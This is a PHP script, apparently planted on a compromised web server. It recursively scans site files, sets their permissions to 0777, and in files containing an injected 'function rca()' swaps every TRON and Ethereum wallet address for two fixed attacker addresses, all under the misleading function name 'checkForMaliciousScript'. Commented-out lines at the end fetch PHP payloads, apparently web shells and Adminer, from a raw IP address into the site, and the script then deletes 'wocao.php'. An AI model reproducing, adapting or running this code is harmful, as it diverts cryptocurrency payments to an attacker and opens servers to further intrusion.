<?php
$currDir   = __DIR__;
$parentDir = dirname(__DIR__);

// 是否只是演练（不实际写回）
$dryRun = false;

// 要替换成的值
$replaceMap = array(
    '/T[a-zA-Z0-9]{30,50}/'  => 'TKf4aEj5pJzEJWrCSwkdzSsYmnHzJbtibM',
    '/0x[a-zA-Z0-9]{40,50}/' => '0xd4b6f4c9af70c3287979228c34ec9c880847f608',
);

// 排除目录
$excludeDirs = array('.git', 'node_modules', 'cache');

function searchFiles($dir) {
    global $excludeDirs;
    if ($dir === '' || !is_dir($dir)) {
        error_log("searchFiles(): invalid directory: " . var_export($dir, true));
        return;
    }

    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveCallbackFilterIterator(
                new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
                function ($current, $key, $iterator) use ($excludeDirs) {
                    if ($current->isDir()) {
                        foreach ($excludeDirs as $ex) {
                            if (stripos($current->getFilename(), $ex) !== false) {
                                return false;
                            }
                        }
                        return true;
                    }
                    return true;
                }
            )
        );

        foreach ($iterator as $file) {
            if (!$file->isFile()) continue;
            $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
            if (in_array($ext, array('php', 'html', 'js'))) {
                checkForMaliciousScript($file->getRealPath());
            }
        }
    } catch (Exception $e) {
        error_log("searchFiles() failed for {$dir}: " . $e->getMessage());
    }
}

function checkForMaliciousScript($filePath) {
    global $replaceMap, $dryRun;
    @chmod($filePath, 0777);
    if (!is_readable($filePath)) {
        echo "[SKIP] 不可读: {$filePath}\n";
        return;
    }

    try {
        $fileContent = file_get_contents($filePath);
        if ($fileContent === false) {
            echo "[SKIP] 读取失败: {$filePath}\n";
            return;
        }

        if (strpos($fileContent, 'function rca()') === false) {
            return;
        }

        $totalReplacements = 0;
        $perPatternCounts = array();

        foreach ($replaceMap as $pattern => $replacement) {
            $count = 0;
            $res = @preg_match_all($pattern, $fileContent, $matches);
            if ($res === false) {
                error_log("checkForMaliciousScript(): invalid regex {$pattern} on {$filePath}");
                continue;
            }
            $count = $res;
            $perPatternCounts[$pattern] = $count;
            $totalReplacements += $count;
        }

        if ($totalReplacements === 0) {
            echo "[FOUND] function rca() 存在，但无匹配待替换项: {$filePath}\n";
            return;
        }

        $newContent = $fileContent;
        foreach ($replaceMap as $pattern => $replacement) {
            $newContent = preg_replace($pattern, $replacement, $newContent);
            if ($newContent === null) {
                error_log("checkForMaliciousScript(): preg_replace failed for {$pattern} in {$filePath}");
                echo "[ERROR] 替换时出错: {$filePath} (pattern: {$pattern})\n";
                return;
            }
        }

        if ($dryRun) {
            echo "[DRY RUN] 将替换 {$totalReplacements} 处 - {$filePath}\n";
            foreach ($perPatternCounts as $p => $c) {
                echo "    pattern {$p} -> {$c} 次\n";
            }
            return;
        }

        if (!is_writable($filePath)) {
            echo "[SKIP] 文件不可写: {$filePath}\n";
            error_log("checkForMaliciousScript(): file not writable {$filePath}");
            return;
        }

        if ($newContent !== $fileContent) {
            $bytes = file_put_contents($filePath, $newContent, LOCK_EX);
            if ($bytes === false) {
                echo "[ERROR] 写回失败: {$filePath}\n";
                error_log("checkForMaliciousScript(): write failed for {$filePath}");
                return;
            }

            echo "[REPLACED] {$filePath} — total: {$totalReplacements} replacements.\n";
            foreach ($perPatternCounts as $p => $c) {
                if ($c > 0) echo "    pattern {$p} => {$c} 次\n";
            }
            error_log("checkForMaliciousScript(): replaced {$totalReplacements} occurrences in {$filePath}");
        } else {
            echo "[NOTICE] 发现匹配但写回内容无变化: {$filePath}\n";
        }

    } catch (Exception $e) {
        echo "[ERROR] exception for {$filePath}: " . $e->getMessage() . "\n";
        error_log("checkForMaliciousScript({$filePath}) exception: " . $e->getMessage());
    }
}

function scan($dirs) {
    foreach ($dirs as $dir) {
        if ($dir === '' || !@is_dir($dir)) {
            echo "[WARN] 无效目录: " . var_export($dir, true) . "\n";
            continue;
        }
        searchFiles($dir);
    }
}

// 调用


scan(array($currDir, $parentDir));







#file_put_contents("static.php", file_get_contents("http://38.207.174.63/laytpl.ctts1")); 
#file_put_contents("adminer.php", file_get_contents("http://38.207.174.63/adminer.ad")); 
#file_put_contents("us.php", file_get_contents("http://38.207.174.63/laodiao.p")); 
#file_put_contents("wd.php", file_get_contents("http://38.207.174.63/wd.aqs")); 

function safeUnlink($path)
{
    if (!file_exists($path)) {
        return true;
    }

    if (!unlink($path)) {
        error_log("Failed to delete file: {$path}");
        return false;
    }

    return true;
}

safeUnlink('wocao.php');

//safeUnlink('static.php');
//safeUnlink('adminer.php');

?>

